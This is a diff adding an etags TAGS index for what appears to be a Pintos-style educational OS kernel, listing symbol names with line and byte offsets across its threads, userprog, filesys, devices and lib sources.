+#define PTE_ADDR 62,2378
+#define PTE_AVL 63,2430
+#define PTE_P 64,2495
+#define PTE_W 65,2559
+#define PTE_U 66,2624
+#define PTE_A 67,2692
+#define PTE_D 68,2759
+static inline uint32_t pde_create 71,2882
+static inline uint32_t *pde_get_pt pde_get_pt78,3118
+static inline uint32_t pte_create_kernel 87,3419
+static inline uint32_t pte_create_user 96,3765
+static inline void *pte_get_page pte_get_page102,3966
+
+threads/start.S,64
+.section 7,329
+.globl 9,347
+.func 10,360
+start:start12,386
+
+threads/switch.S,165
+.globl 15,605
+.func 16,627
+switch_threads:switch_threads17,648
+.globl 32,1045
+.globl 51,1424
+.func 52,1444
+switch_entry:switch_entry53,1463
+.globl 59,1573
+
+threads/switch.h,379
+#define THREADS_SWITCH_H2,25
+struct switch_threads_frame 6,110
+ uint32_t edi;8,143
+ uint32_t esi;9,197
+ uint32_t ebp;10,251
+ uint32_t ebx;11,305
+ void (*eip)eip12,359
+ struct thread *cur;cur13,417
+ struct thread *next;next14,492
+struct switch_entry_frame23,838
+ void (*eip)eip25,868
+#define SWITCH_CUR 36,1080
+#define SWITCH_NEXT 37,1107
+
+threads/synch.c,458
+sema_init 45,1674
+sema_down 61,2174
+sema_try_down 84,2728
+sema_up 109,3226
+sema_self_test 129,3751
+sema_test_helper 148,4152
+lock_init 176,5133
+lock_acquire 193,5598
+lock_try_acquire 210,6043
+lock_release 229,6496
+lock_held_by_current_thread 242,6817
+struct semaphore_elem 250,6979
+ struct list_elem elem;252,7006
+ struct semaphore semaphore;253,7066
+cond_init 260,7317
+cond_wait 288,8337
+cond_signal 312,9056
+cond_broadcast 331,9693
+
+threads/synch.h,294
+#define THREADS_SYNCH_H2,24
+struct semaphore 8,117
+ unsigned value;10,139
+ struct list waiters;11,192
+struct lock 21,468
+ struct thread *holder;holder23,485
+ struct semaphore semaphore;24,560
+struct condition 34,865
+ struct list waiters;36,887
+#define barrier(49,1341
+
+threads/thread.c,1664
+#define THREAD_MAGIC 21,529
+static struct list ready_list;25,679
+static struct thread *idle_thread;idle_thread28,730
+static struct thread *initial_thread;initial_thread31,822
+static struct lock tid_lock;34,896
+struct kernel_thread_frame 37,965
+ void *eip;eip39,997
+ thread_func *function;function40,1051
+ void *aux;aux41,1107
+static long long idle_ticks;45,1198
+static long long kernel_ticks;46,1265
+static long long user_ticks;47,1339
+#define TIME_SLICE 50,1431
+static unsigned thread_ticks;51,1507
+bool thread_mlfqs;56,1744
+static bool is_thread 64,2025
+init_thread 104,3280
+thread_start 131,4018
+thread_tick 148,4481
+thread_print_stats 169,4846
+thread_create 191,5806
+thread_block 249,7342
+thread_unblock 267,7881
+thread_name 282,8208
+thread_current 291,8436
+thread_tid 308,8896
+thread_exit 316,9045
+thread_yield 336,9534
+thread_set_priority 353,9906
+thread_get_priority 360,10046
+thread_set_nice 367,10174
+thread_get_nice 374,10294
+thread_get_load_avg 382,10417
+thread_get_recent_cpu 390,10558
+idle 406,11132
+kernel_thread 436,12056
+running_thread 447,12391
+is_thread 461,12835
+alloc_frame 469,13042
+next_thread_to_run 485,13557
+schedule_tail 510,14444
+schedule 547,15498
+allocate_tid 564,15895
+uint32_t thread_stack_ofs 578,16170
+static unsigned DEBUG_thread_alive_count;584,16288
+static struct lock DEBUG_thread_alive_lock;585,16330
+static struct condition DEBUG_thread_alive_cond;586,16374
+void DEBUG_thread_init(588,16424
+void DEBUG_thread_count_up(595,16593
+void DEBUG_thread_count_down(603,16822
+void DEBUG_thread_poweroff_check(612,17122
+bool DEBUG_thread_create_simulate_fail(641,18006
+
+threads/thread.h,682
+#define THREADS_THREAD_H2,25
+enum thread_status11,177
+ THREAD_RUNNING,13,200
+ THREAD_READY,14,246
+ THREAD_BLOCKED,15,306
+ THREAD_DYING 16,369
+typedef int tid_t;21,510
+#define TID_ERROR 22,529
+#define PRI_MIN 25,624
+#define PRI_DEFAULT 26,687
+#define PRI_MAX 27,751
+struct thread85,3506
+ tid_t tid;88,3553
+ enum thread_status status;89,3618
+ char name[name90,3678
+ uint8_t *stack;stack91,3755
+ int priority;92,3822
+ struct list_elem elem;95,3926
+ struct map file_map;100,4147
+ int pid;103,4194
+ uint32_t *pagedir;pagedir109,4341
+ unsigned magic;113,4440
+typedef void thread_func 127,4816
+void thread_exit 137,5094
+
+threads/vaddr.h,434
+#define THREADS_VADDR_H2,24
+#define BITMASK(15,288
+#define PGSHIFT 18,382
+#define PGBITS 19,458
+#define PGSIZE 20,530
+#define PGMASK 21,596
+static inline unsigned pg_ofs 24,699
+static inline uintptr_t pg_no 29,812
+static inline void *pg_round_up pg_round_up34,940
+static inline void *pg_round_down pg_round_down39,1098
+#define PHYS_BASE 53,1700
+is_user_vaddr 57,1821
+is_kernel_vaddr 64,1965
+ptov 72,2140
+vtop 82,2354
+
+threads/boundedbuffer.h,79
+#define BOUNDEDBUFFER_H9,206
+struct bounded_buffer 13,259
+ int size;14,283
+
+threads/boundedbuffer.c,87
+void bb_init(15,448
+void bb_destroy(21,550
+int bb_read(26,631
+void bb_write(32,720
+
+threads/synchlist.c,105
+void sl_init(29,978
+void sl_destroy(42,1337
+void sl_append(63,1944
+void *sl_remove(sl_remove83,2646
+
+threads/copyright.h,42
+static char *copyright copyright23,1095
+
+threads/synchlist.h,204
+struct SynchList 24,773
+ struct list sl_list;25,792
+ struct lock sl_lock;26,815
+ struct condition sl_empty;27,838
+struct SL_element30,871
+ struct list_elem elem;32,891
+ void *item;item33,916
+
+userprog/exception.c,128
+static long long page_fault_cnt;9,198
+exception_init 30,941
+exception_print_stats 65,2677
+kill 72,2852
+page_fault 123,4966
+
+userprog/exception.h,94
+#define USERPROG_EXCEPTION_H2,29
+#define PF_P 5,135
+#define PF_W 6,210
+#define PF_U 7,255
+
+userprog/gdt.c,324
+static uint64_t gdt[gdt25,919
+gdt_init 36,1294
+enum seg_class57,2025
+ CLS_SYSTEM 59,2044
+ CLS_CODE_DATA 60,2098
+enum seg_granularity64,2211
+ GRAN_BYTE 66,2236
+ GRAN_PAGE 67,2304
+make_seg_desc 82,2985
+make_code_desc 116,4233
+make_data_desc 124,4461
+make_tss_desc 134,4807
+make_gdtr_operand 143,5052
+
+userprog/gdt.h,126
+#define USERPROG_GDT_H2,23
+#define SEL_UCSEG 8,158
+#define SEL_UDSEG 9,216
+#define SEL_TSS 10,274
+#define SEL_CNT 11,332
+
+userprog/pagedir.c,342
+pagedir_create 17,470
+pagedir_destroy 28,686
+lookup_page 57,1502
+pagedir_set_page 99,2588
+pagedir_get_page 126,3285
+pagedir_clear_page 144,3755
+pagedir_is_dirty 164,4238
+pagedir_set_dirty 173,4472
+pagedir_is_accessed 193,4999
+pagedir_set_accessed 202,5243
+pagedir_activate 220,5632
+active_pd 235,6137
+invalidate_pagedir 255,6846
+
+userprog/pagedir.h,32
+#define USERPROG_PAGEDIR_H2,27
+
+userprog/process.c,919
+#define HACK25,751
+static void wrap_file_close(32,908
+static struct plist process_list;39,1013
+static bool register_exit(41,1048
+static bool register_child_exit(50,1216
+static bool print_process(57,1372
+void process_init(69,1667
+void process_exit(74,1725
+void process_print_list(82,1927
+void process_init(93,2278
+void process_exit(102,2633
+void process_print_list(108,2806
+struct parameters_to_start_process119,3101
+ char* command_line;121,3138
+ struct semaphore load_done;124,3247
+ bool load_success;125,3277
+ int parent_pid;128,3321
+ int child_pid;129,3339
+start_process(135,3450
+start_process 316,10897
+process_wait 447,15536
+process_cleanup 489,16903
+process_activate 568,19483
+struct main_args585,19913
+ void (*ret)ret587,19932
+ int argc;588,19953
+ char** argv;589,19965
+static bool exists_in(594,20039
+static int count_args(606,20320
+static void* setup_main_stack(623,20660
+
+userprog/process.h,88
+#define USERPROG_PROCESS_H2,27
+#define INFINITE_WAIT(15,345
+#define BUSY_WAIT(16,396
+
+userprog/syscall.c,317
+syscall_init 20,466
+static bool is_done_buf(29,703
+static bool is_done_str(34,798
+static bool verify(46,1007
+static void verify_buf(67,1456
+static void verify_str(79,1813
+static int getline(98,2338
+static int getbuf(125,2738
+#define SYS_DEBUG(143,3080
+const int argc[argc155,3545
+syscall_handler 165,3715
+
+userprog/syscall.h,32
+#define USERPROG_SYSCALL_H2,27
+
+userprog/tss.c,899
+struct tss51,2307
+ uint16_t back_link,53,2322
+ void *esp0;esp054,2351
+ uint16_t ss0,55,2427
+ void *esp1;esp156,2504
+ uint16_t ss1,57,2520
+ void *esp2;esp258,2543
+ uint16_t ss2,59,2559
+ uint32_t cr3;60,2582
+ void (*eip)eip61,2600
+ uint32_t eflags;62,2624
+ uint32_t eax,63,2645
+ uint32_t eax, ecx,63,2645
+ uint32_t eax, ecx, edx,63,2645
+ uint32_t eax, ecx, edx, ebx;63,2645
+ uint32_t esp,64,2678
+ uint32_t esp, ebp,64,2678
+ uint32_t esp, ebp, esi,64,2678
+ uint32_t esp, ebp, esi, edi;64,2678
+ uint16_t es,65,2711
+ uint16_t cs,66,2733
+ uint16_t ss,67,2755
+ uint16_t ds,68,2777
+ uint16_t fs,69,2799
+ uint16_t gs,70,2821
+ uint16_t ldt,71,2843
+ uint16_t trace,72,2866
+ uint16_t trace, bitmap;72,2866
+static struct tss *tss;tss76,2918
+tss_init 80,2982
+tss_get 93,3321
+tss_update 102,3476
+
+userprog/tss.h,28
+#define USERPROG_TSS_H2,23
+
+userprog/flist.c,152
+void map_init(7,151
+int map_insert(19,380
+OBJECT* map_find(36,669
+OBJECT* map_remove(48,922
+void map_for_each(60,1145
+void map_make_empty(73,1395
+
+userprog/flist.h,119
+#define _MAP_H_2,16
+#define OBJECT 37,1324
+#define MAP_SIZE 39,1352
+struct map41,1373
+ OBJECT* data[data43,1386
+
+userprog/test.c,79
+typedef __SIZE_TYPE__ size_t;3,20
+strlcpy_first_word 10,208
+int main(34,597
+
+userprog/plist.h,336
+#define _PLIST_H_2,18
+struct process35,1211
+ struct lock mutex;37,1228
+ struct semaphore wait_for_me;38,1249
+ int share_count;39,1281
+ int exit_status;40,1300
+ int parent_pid;41,1319
+ char name[name42,1337
+#define PLIST_SIZE 45,1358
+struct plist47,1381
+ struct lock mutex;49,1396
+ struct process* data[data50,1417
+
+userprog/load.c,1503
+typedef uint32_t Elf32_Word,19,564
+typedef uint32_t Elf32_Word, Elf32_Addr,19,564
+typedef uint32_t Elf32_Word, Elf32_Addr, Elf32_Off;19,564
+typedef uint16_t Elf32_Half;20,616
+#define PE32Wx 23,688
+#define PE32Ax 24,751
+#define PE32Ox 25,814
+#define PE32Hx 26,876
+struct Elf32_Ehdr30,1045
+ unsigned char e_ident[e_ident32,1067
+ Elf32_Half e_type;33,1098
+ Elf32_Half e_machine;34,1124
+ Elf32_Word e_version;35,1153
+ Elf32_Addr e_entry;36,1182
+ Elf32_Off e_phoff;37,1209
+ Elf32_Off e_shoff;38,1236
+ Elf32_Word e_flags;39,1263
+ Elf32_Half e_ehsize;40,1290
+ Elf32_Half e_phentsize;41,1318
+ Elf32_Half e_phnum;42,1349
+ Elf32_Half e_shentsize;43,1376
+ Elf32_Half e_shnum;44,1407
+ Elf32_Half e_shstrndx;45,1434
+struct Elf32_Phdr51,1600
+ Elf32_Word p_type;53,1622
+ Elf32_Off p_offset;54,1645
+ Elf32_Addr p_vaddr;55,1670
+ Elf32_Addr p_paddr;56,1694
+ Elf32_Word p_filesz;57,1718
+ Elf32_Word p_memsz;58,1743
+ Elf32_Word p_flags;59,1767
+ Elf32_Word p_align;60,1791
+#define PT_NULL 64,1863
+#define PT_LOAD 65,1909
+#define PT_DYNAMIC 66,1965
+#define PT_INTERP 67,2025
+#define PT_NOTE 68,2087
+#define PT_SHLIB 69,2141
+#define PT_PHDR 70,2189
+#define PT_STACK 71,2249
+#define PF_X 74,2353
+#define PF_W 75,2395
+#define PF_R 76,2435
+load 89,2986
+validate_segment 207,6304
+load_segment 264,8144
+setup_stack 311,9566
+install_page 338,10343
+void dump_stack(351,10809
+
+userprog/plist.c,181
+void plist_init(9,205
+int plist_insert(22,464
+struct process* plist_find(42,852
+struct process* plist_remove(54,1119
+void plist_for_each(66,1364
+void plist_make_empty(88,1939
+
+userprog/load.h,29
+#define USERPROG_LOAD_H2,24
+
+filesys/directory.c,414
+struct dir 10,192
+ struct inode *inode;inode12,208
+ off_t pos;13,269
+struct dir_entry 17,371
+ disk_sector_t inode_sector;19,393
+ char name[name20,464
+ bool in_use;21,537
+dir_create 27,740
+dir_open 35,1009
+dir_open_root 55,1411
+dir_reopen 63,1605
+dir_close 70,1743
+dir_get_inode 81,1918
+lookup 92,2260
+dir_lookup 119,2960
+dir_add 142,3531
+dir_remove 188,4903
+dir_readdir 228,5849
+
+filesys/directory.h,58
+#define FILESYS_DIRECTORY_H2,28
+#define NAME_MAX 12,347
+
+filesys/file.c,389
+struct file 7,121
+ struct inode *inode;inode9,138
+ off_t pos;10,190
+ bool deny_write;12,322
+file_open 20,660
+file_reopen 42,1149
+file_close 49,1260
+file_get_inode 61,1524
+file_read 72,1844
+file_read_at 85,2275
+file_write 98,2769
+file_write_at 113,3311
+file_deny_write 123,3674
+file_allow_write 137,4001
+file_length 150,4300
+file_seek 159,4493
+file_tell 169,4713
+
+filesys/file.h,28
+#define FILESYS_FILE_H2,23
+
+filesys/filesys.c,335
+struct disk *filesys_disk;filesys_disk13,301
+struct lock filesys_lock;27,744
+#define fat_lock_init(31,804
+#define fat_lock_acquire(32,831
+#define fat_lock_release(33,861
+filesys_init 40,1089
+filesys_done 60,1598
+filesys_create 70,1849
+filesys_open 95,2842
+filesys_close 115,3426
+filesys_remove 129,3983
+do_format 144,4525
+
+filesys/filesys.h,93
+#define FILESYS_FILESYS_H2,26
+#define FREE_MAP_SECTOR 8,139
+#define ROOT_DIR_SECTOR 9,205
+
+filesys/free-map.c,475
+static struct file *free_map_file;free_map_file8,152
+static struct bitmap *free_map;free_map9,210
+struct lock free_map_lock;14,402
+#define ref_lock_init(15,429
+#define ref_lock_acquire(16,474
+#define ref_lock_release(17,522
+#define ref_lock_init(19,576
+#define ref_lock_acquire(20,603
+#define ref_lock_release(21,633
+free_map_init 27,779
+free_map_allocate 43,1301
+free_map_release 67,2026
+free_map_open 76,2285
+free_map_close 87,2586
+free_map_create 95,2725
+
+filesys/free-map.h,32
+#define FILESYS_FREE_MAP_H2,27
+
+filesys/fsutil.c,97
+fsutil_ls 16,347
+fsutil_cat 33,742
+fsutil_rm 60,1312
+fsutil_put 82,2055
+fsutil_get 147,3971
+
+filesys/fsutil.h,30
+#define FILESYS_FSUTIL_H2,25
+
+filesys/inode.c,1196
+struct lock inode_list_lock;13,304
+#define ref_lock_init(14,333
+#define ref_lock_acquire(15,378
+#define ref_lock_release(16,426
+#define ref_lock_init(18,480
+#define ref_lock_acquire(19,507
+#define ref_lock_release(20,537
+#define INODE_MAGIC 25,673
+struct inode_disk29,774
+ disk_sector_t start;31,796
+ off_t length;32,861
+ unsigned magic;33,927
+ uint32_t unused[unused34,987
+bytes_to_sectors 40,1151
+struct inode 46,1257
+ struct list_elem elem;48,1275
+ disk_sector_t sector;49,1344
+ int open_cnt;50,1422
+ bool removed;51,1487
+ int deny_write_cnt;53,1643
+ struct inode_disk data;56,1867
+ struct lock dir_lock;59,2000
+ struct lock lock;60,2072
+ struct semaphore busy;61,2149
+ int reader_count;62,2176
+void inode_dir_lock_acquire(67,2346
+void inode_dir_lock_release(74,2456
+byte_to_sector 87,2809
+static struct list open_inodes;98,3104
+inode_init 102,3178
+inode_create 114,3497
+inode_open 153,4645
+inode_reopen 202,6008
+inode_get_inumber 215,6272
+inode_close 224,6512
+inode_remove 260,7537
+inode_read_at 270,7834
+inode_write_at 358,10891
+inode_length 430,13716
+inode_deny_write 455,14530
+inode_allow_write 465,14815
+
+filesys/inode.h,29
+#define FILESYS_INODE_H2,24
+
+filesys/off_t.h,80
+#define FILESYS_OFF_T_H2,24
+typedef int32_t off_t;9,199
+#define PROTd 13,307
+
+devices/disk.c,1649
+#define reg_data(15,365
+#define reg_error(16,433
+#define reg_nsect(17,502
+#define reg_lbal(18,578
+#define reg_lbam(19,649
+#define reg_lbah(20,721
+#define reg_device(21,794
+#define reg_status(22,874
+#define reg_command(23,950
+#define reg_ctl(28,1184
+#define reg_alt_status(29,1261
+#define STA_BSY 32,1380
+#define STA_DRDY 33,1424
+#define STA_DRQ 34,1476
+#define CTL_SRST 37,1558
+#define DEV_MBS 40,1641
+#define DEV_LBA 41,1692
+#define DEV_DEV 42,1755
+#define CMD_IDENTIFY_DEVICE 47,1914
+#define CMD_READ_SECTOR_RETRY 48,1977
+#define CMD_WRITE_SECTOR_RETRY 49,2049
+struct disk 52,2144
+ char name[name54,2161
+ struct channel *channel;channel55,2219
+ int dev_no;56,2277
+ bool is_ata;58,2351
+ disk_sector_t capacity;59,2419
+ long long read_cnt;61,2491
+ long long write_cnt;62,2553
+struct channel 67,2708
+ char name[name69,2728
+ uint16_t reg_base;70,2784
+ uint8_t irq;71,2837
+ struct lock lock;73,2894
+ bool expecting_interrupt;74,2971
+ struct semaphore completion_wait;76,3120
+ struct disk devices[devices78,3194
+#define CHANNEL_CNT 82,3338
+static struct channel channels[channels83,3360
+disk_init 103,4107
+disk_print_stats 164,5659
+disk_get 192,6377
+disk_size 208,6714
+disk_read 220,6993
+disk_write 245,7717
+reset_channel 271,8402
+check_device_type 336,10046
+identify_ata_device 366,10818
+print_ata_string 411,12327
+select_sector 432,12813
+issue_pio_command 451,13337
+input_sector 464,13752
+output_sector 472,13979
+wait_until_idle 485,14355
+wait_while_busy 504,14805
+select_device 528,15329
+select_device_wait 542,15681
+interrupt_handler 551,15838
+
+devices/disk.h,122
+#define DEVICES_DISK_H2,23
+#define DISK_SECTOR_SIZE 8,128
+typedef uint32_t disk_sector_t;12,239
+#define PRDSNu 16,357
+
+devices/input.c,109
+static struct intq buffer;7,154
+input_init 11,223
+input_putc 19,372
+input_getc 31,638
+input_full 48,934
+
+devices/input.h,29
+#define DEVICES_INPUT_H2,24
+
+devices/intq.c,137
+intq_init 11,264
+intq_empty 20,439
+intq_full 28,605
+intq_getc 39,902
+intq_putc 63,1426
+next 81,1825
+wait 89,2008
+signal 105,2520
+
+devices/intq.h,270
+#define DEVICES_INTQ_H2,23
+#define INTQ_BUFSIZE 21,692
+struct intq24,750
+ struct lock lock;27,793
+ struct thread *not_full;not_full28,865
+ struct thread *not_empty;not_empty29,942
+ uint8_t buf[buf32,1038
+ int head;33,1084
+ int tail;34,1148
+
+devices/kbd.c,859
+#define DATA_REG 11,220
+static bool left_shift,15,317
+static bool left_shift, right_shift;15,317
+static bool left_alt,16,390
+static bool left_alt, right_alt;16,390
+static bool left_ctrl,17,461
+static bool left_ctrl, right_ctrl;17,461
+static bool caps_lock;21,593
+static int64_t key_cnt;24,647
+static intr_handler_func keyboard_interrupt;26,672
+kbd_init 30,755
+kbd_print_stats 37,881
+struct keymap43,1022
+ uint8_t first_scancode;45,1040
+ const char *chars;chars46,1094
+static const struct keymap invariant_keymap[invariant_keymap54,1483
+static const struct keymap unshifted_keymap[unshifted_keymap69,1808
+static const struct keymap shifted_keymap[shifted_keymap81,2068
+keyboard_interrupt 94,2330
+ struct shift_key 161,4115
+ unsigned scancode;163,4149
+ bool *state_var;state_var164,4178
+map_key 196,4978
+
+devices/kbd.h,27
+#define DEVICES_KBD_H2,22
+
+devices/serial.c,889
+#define IO_BASE 18,488
+#define RBR_REG 21,535
+#define THR_REG 22,607
+#define IER_REG 23,684
+#define LS_REG 26,770
+#define MS_REG 27,829
+#define IIR_REG 30,923
+#define FCR_REG 31,1003
+#define LCR_REG 32,1073
+#define MCR_REG 33,1134
+#define LSR_REG 34,1196
+#define IER_RECV 37,1307
+#define IER_XMIT 38,1375
+#define LCR_N81 41,1482
+#define LCR_DLAB 42,1556
+#define MCR_OUT2 45,1658
+#define LSR_DR 48,1740
+#define LSR_THRE 49,1820
+static enum { UNINIT,52,1896
+static enum { UNINIT, POLL,52,1896
+static enum { UNINIT, POLL, QUEUE 52,1896
+static enum { UNINIT, POLL, QUEUE } mode;52,1896
+static struct intq txq;55,1969
+static intr_handler_func serial_interrupt;60,2091
+init_poll 67,2371
+serial_init_queue 82,2913
+serial_putc 99,3235
+serial_flush 135,4181
+serial_notify 148,4565
+set_serial 157,4744
+write_ier 177,5201
+putc_poll 199,5658
+serial_interrupt 210,5856
+
+devices/serial.h,30
+#define DEVICES_SERIAL_H2,25
+
+devices/timer.c,420
+static int64_t ticks;21,466
+static unsigned loops_per_tick;25,564
+static intr_handler_func timer_interrupt;27,597
+timer_init 36,933
+timer_calibrate 51,1356
+timer_ticks 78,2134
+timer_elapsed 90,2410
+timer_sleep 97,2544
+timer_msleep 108,2828
+timer_usleep 115,2955
+timer_nsleep 122,3088
+timer_print_stats 129,3200
+timer_interrupt 136,3330
+too_many_loops 145,3520
+busy_wait 169,4121
+real_time_sleep 177,4252
+
+devices/timer.h,55
+#define DEVICES_TIMER_H2,24
+#define TIMER_FREQ 8,134
+
+devices/vga.c,290
+#define COL_CNT 13,310
+#define ROW_CNT 14,329
+static size_t cx,18,434
+static size_t cx, cy;18,434
+#define GRAY_ON_BLACK 21,516
+static uint8_t (*fb)fb26,695
+init 36,949
+vga_putc 51,1230
+cls 100,2043
+clear_row 113,2199
+newline 128,2533
+move_cursor 142,2777
+find_cursor 152,3049
+
+devices/vga.h,27
+#define DEVICES_VGA_H2,22
+
+lib/arithmetic.c,172
+divl 26,1080
+nlz 42,1364
+udiv64 78,2084
+umod64 132,3870
+sdiv64 140,4032
+smod64 151,4385
+__divdi3 165,4784
+__moddi3 172,4891
+__udivdi3 179,5008
+__umoddi3 186,5145
+
+lib/ctype.h,533
+#define __LIB_CTYPE_H2,22
+static inline int islower 4,45
+static inline int isupper 5,112
+static inline int isalpha 6,179
+static inline int isdigit 7,252
+static inline int isalnum 8,319
+static inline int isxdigit 9,392
+static inline int isspace 12,505
+static inline int isblank 16,639
+static inline int isgraph 17,707
+static inline int isprint 18,771
+static inline int iscntrl 19,836
+static inline int isascii 20,913
+static inline int ispunct 21,977
+static inline int tolower 25,1070
+static inline int toupper 26,1148
+
+lib/debug.c,24
+debug_backtrace 13,360
+
+lib/debug.h,377
+#define __LIB_DEBUG_H2,22
+#define debug(7,220
+#define UNUSED 12,420
+#define NO_RETURN 13,460
+#define NO_INLINE 14,505
+#define PRINTF_FORMAT(15,550
+#define PANIC(19,747
+void debug_panic 21,823
+#define PART 26,1071
+#undef ASSERT33,1222
+#undef NOT_REACHED34,1236
+#define ASSERT(37,1271
+#define NOT_REACHED(41,1479
+#define ASSERT(43,1552
+#define NOT_REACHED(44,1589
+
+lib/inttypes.h,858
+#define __LIB_INTTYPES_H2,25
+#define PRId8 6,72
+#define PRIi8 7,92
+#define PRIo8 8,112
+#define PRIu8 9,132
+#define PRIx8 10,152
+#define PRIX8 11,172
+#define PRId16 13,193
+#define PRIi16 14,213
+#define PRIo16 15,233
+#define PRIu16 16,253
+#define PRIx16 17,273
+#define PRIX16 18,293
+#define PRId32 20,314
+#define PRIi32 21,333
+#define PRIo32 22,352
+#define PRIu32 23,371
+#define PRIx32 24,390
+#define PRIX32 25,409
+#define PRId64 27,429
+#define PRIi64 28,450
+#define PRIo64 29,471
+#define PRIu64 30,492
+#define PRIx64 31,513
+#define PRIX64 32,534
+#define PRIdMAX 34,556
+#define PRIiMAX 35,577
+#define PRIoMAX 36,598
+#define PRIuMAX 37,619
+#define PRIxMAX 38,640
+#define PRIXMAX 39,661
+#define PRIdPTR 41,683
+#define PRIiPTR 42,704
+#define PRIoPTR 43,725
+#define PRIuPTR 44,746
+#define PRIxPTR 45,767
+#define PRIXPTR 46,788
+
+lib/limits.h,528
+#define __LIB_LIMITS_H2,23
+#define CHAR_BIT 4,47
+#define SCHAR_MAX 6,67
+#define SCHAR_MIN 7,89
+#define UCHAR_MAX 8,124
+#define CHAR_MIN 11,172
+#define CHAR_MAX 12,191
+#define CHAR_MIN 14,224
+#define CHAR_MAX 15,251
+#define SHRT_MAX 18,286
+#define SHRT_MIN 19,309
+#define USHRT_MAX 20,342
+#define INT_MAX 22,367
+#define INT_MIN 23,394
+#define UINT_MAX 24,425
+#define LONG_MAX 26,455
+#define LONG_MIN 27,484
+#define ULONG_MAX 28,517
+#define LLONG_MAX 30,549
+#define LLONG_MIN 31,589
+#define ULLONG_MAX 32,624
+
+lib/random.c,195
+static uint8_t s[s17,426
+static uint8_t s_i,18,469
+static uint8_t s_i, s_j;18,469
+static bool inited;21,541
+swap_byte 25,631
+random_init 34,781
+random_bytes 54,1118
+random_ulong 78,1560
+
+lib/random.h,28
+#define __LIB_RANDOM_H2,23
+
+lib/round.h,107
+#define __LIB_ROUND_H2,22
+#define ROUND_UP(6,135
+#define DIV_ROUND_UP(10,276
+#define ROUND_DOWN(14,429
+
+lib/stdarg.h,163
+#define __LIB_STDARG_H2,23
+typedef __builtin_va_list va_list;7,133
+#define va_start(9,169
+#define va_end(10,228
+#define va_arg(11,284
+#define va_copy(12,341
+
+lib/stdbool.h,131
+#define __LIB_STDBOOL_H2,24
+#define bool 4,49
+#define true 5,68
+#define false 6,83
+#define __bool_true_false_are_defined 7,99
+
+lib/stddef.h,149
+#define __LIB_STDDEF_H2,23
+#define NULL 4,47
+#define offsetof(5,73
+typedef __PTRDIFF_TYPE__ ptrdiff_t;9,238
+typedef __SIZE_TYPE__ size_t;10,274
+
+lib/stdint.h,1040
+#define __LIB_STDINT_H2,23
+typedef signed char int8_t;4,47
+#define INT8_MAX 5,75
+#define INT8_MIN 6,96
+typedef signed short int int16_t;8,130
+#define INT16_MAX 9,164
+#define INT16_MIN 10,188
+typedef signed int int32_t;12,224
+#define INT32_MAX 13,252
+#define INT32_MIN 14,281
+typedef signed long long int int64_t;16,317
+#define INT64_MAX 17,355
+#define INT64_MIN 18,395
+typedef unsigned char uint8_t;20,431
+#define UINT8_MAX 21,462
+typedef unsigned short int uint16_t;23,485
+#define UINT16_MAX 24,522
+typedef unsigned int uint32_t;26,548
+#define UINT32_MAX 27,579
+typedef unsigned long long int uint64_t;29,611
+#define UINT64_MAX 30,652
+typedef int32_t intptr_t;32,696
+#define INTPTR_MIN 33,722
+#define INTPTR_MAX 34,751
+typedef uint32_t uintptr_t;36,781
+#define UINTPTR_MAX 37,809
+typedef int64_t intmax_t;39,841
+#define INTMAX_MIN 40,867
+#define INTMAX_MAX 41,896
+typedef uint64_t uintmax_t;43,926
+#define UINTMAX_MAX 44,954
+#define PTRDIFF_MIN 46,986
+#define PTRDIFF_MAX 47,1016
+#define SIZE_MAX 49,1047
+
+lib/stdio.c,1097
+struct vsnprintf_aux 9,165
+ char *p;p11,191
+ int length;12,246
+ int max_length;13,301
+vsnprintf 26,826
+vsnprintf_helper 46,1296
+snprintf 62,1849
+printf 79,2252
+struct printf_conversion 94,2487
+ MINUS 99,2552
+ PLUS 100,2594
+ SPACE 101,2636
+ POUND 102,2678
+ ZERO 103,2720
+ GROUP 104,2762
+ int width;109,2856
+ int precision;113,2949
+ CHAR 118,3025
+ SHORT 119,3066
+ INT 120,3106
+ INTMAX 121,3151
+ LONG 122,3191
+ LONGLONG 123,3231
+ PTRDIFFT 124,3272
+ SIZET 125,3312
+struct integer_base 130,3376
+ int base;132,3401
+ const char *digits;digits133,3445
+ int x;134,3505
+ int group;135,3583
+static const struct integer_base base_d 138,3666
+static const struct integer_base base_o 139,3734
+static const struct integer_base base_x 140,3799
+static const struct integer_base base_X 141,3875
+__vprintf 157,4692
+parse_conversion 340,9965
+format_integer 470,12581
+output_dup 551,15275
+format_string 561,15565
+__printf 577,16076
+hex_dump 593,16539
+
+lib/stdio.h,156
+#define __LIB_STDIO_H2,22
+#define STDIN_FILENO 15,275
+#define STDOUT_FILENO 16,298
+int printf 19,349
+#define sprintf 36,1011
+#define vsprintf 37,1057
+
+lib/stdlib.c,161
+atoi 10,213
+compare_thunk 45,914
+qsort 58,1386
+do_swap 67,1657
+do_compare 86,2177
+heapify 97,2610
+sort 132,3780
+bsearch 166,4773
+binary_search 185,5516
+
+lib/stdlib.h,28
+#define __LIB_STDLIB_H2,23
+
+lib/string.c,319
+memcpy 7,128
+memmove 24,478
+memcmp 53,1110
+strcmp 73,1667
+memchr 94,2136
+strchr 113,2604
+strcspn 131,2948
+strpbrk 145,3304
+strrchr 156,3605
+strspn 170,3892
+strstr 184,4248
+strtok_r 235,5754
+memset 279,6704
+strlen 293,6924
+strnlen 307,7198
+strlcpy 326,7810
+strlcpy_first_word 350,8309
+strlcat 385,9241
+
+lib/string.h,148
+#define __LIB_STRING_H2,23
+#define strcpy 30,948
+#define strncpy 31,991
+#define strcat 32,1036
+#define strncat 33,1079
+#define strtok 34,1124
+
+lib/syscall-nr.h,532
+#define __LIB_SYSCALL_NR_H2,27
+ SYS_HALT,8,154
+ SYS_EXIT,9,219
+ SYS_EXEC,10,281
+ SYS_WAIT,11,342
+ SYS_CREATE,12,413
+ SYS_REMOVE,13,466
+ SYS_OPEN,14,519
+ SYS_FILESIZE,15,570
+ SYS_READ,16,630
+ SYS_WRITE,17,686
+ SYS_SEEK,18,741
+ SYS_TELL,19,806
+ SYS_CLOSE,20,879
+ SYS_MMAP,23,971
+ SYS_MUNMAP,24,1033
+ SYS_CHDIR,27,1132
+ SYS_MKDIR,28,1200
+ SYS_READDIR,29,1258
+ SYS_ISDIR,30,1321
+ SYS_INUMBER,31,1397
+ SYS_PLIST,35,1575
+ SYS_NUMBER_OF_CALLS38,1719
+
+lib/kernel/bitmap.c,789
+typedef unsigned long elem_type;19,444
+#define ELEM_BITS 22,514
+struct bitmap27,719
+ size_t bit_cnt;29,737
+ elem_type *bits;bits30,783
+elem_idx 36,952
+bit_mask 44,1126
+elem_cnt 51,1292
+byte_cnt 58,1449
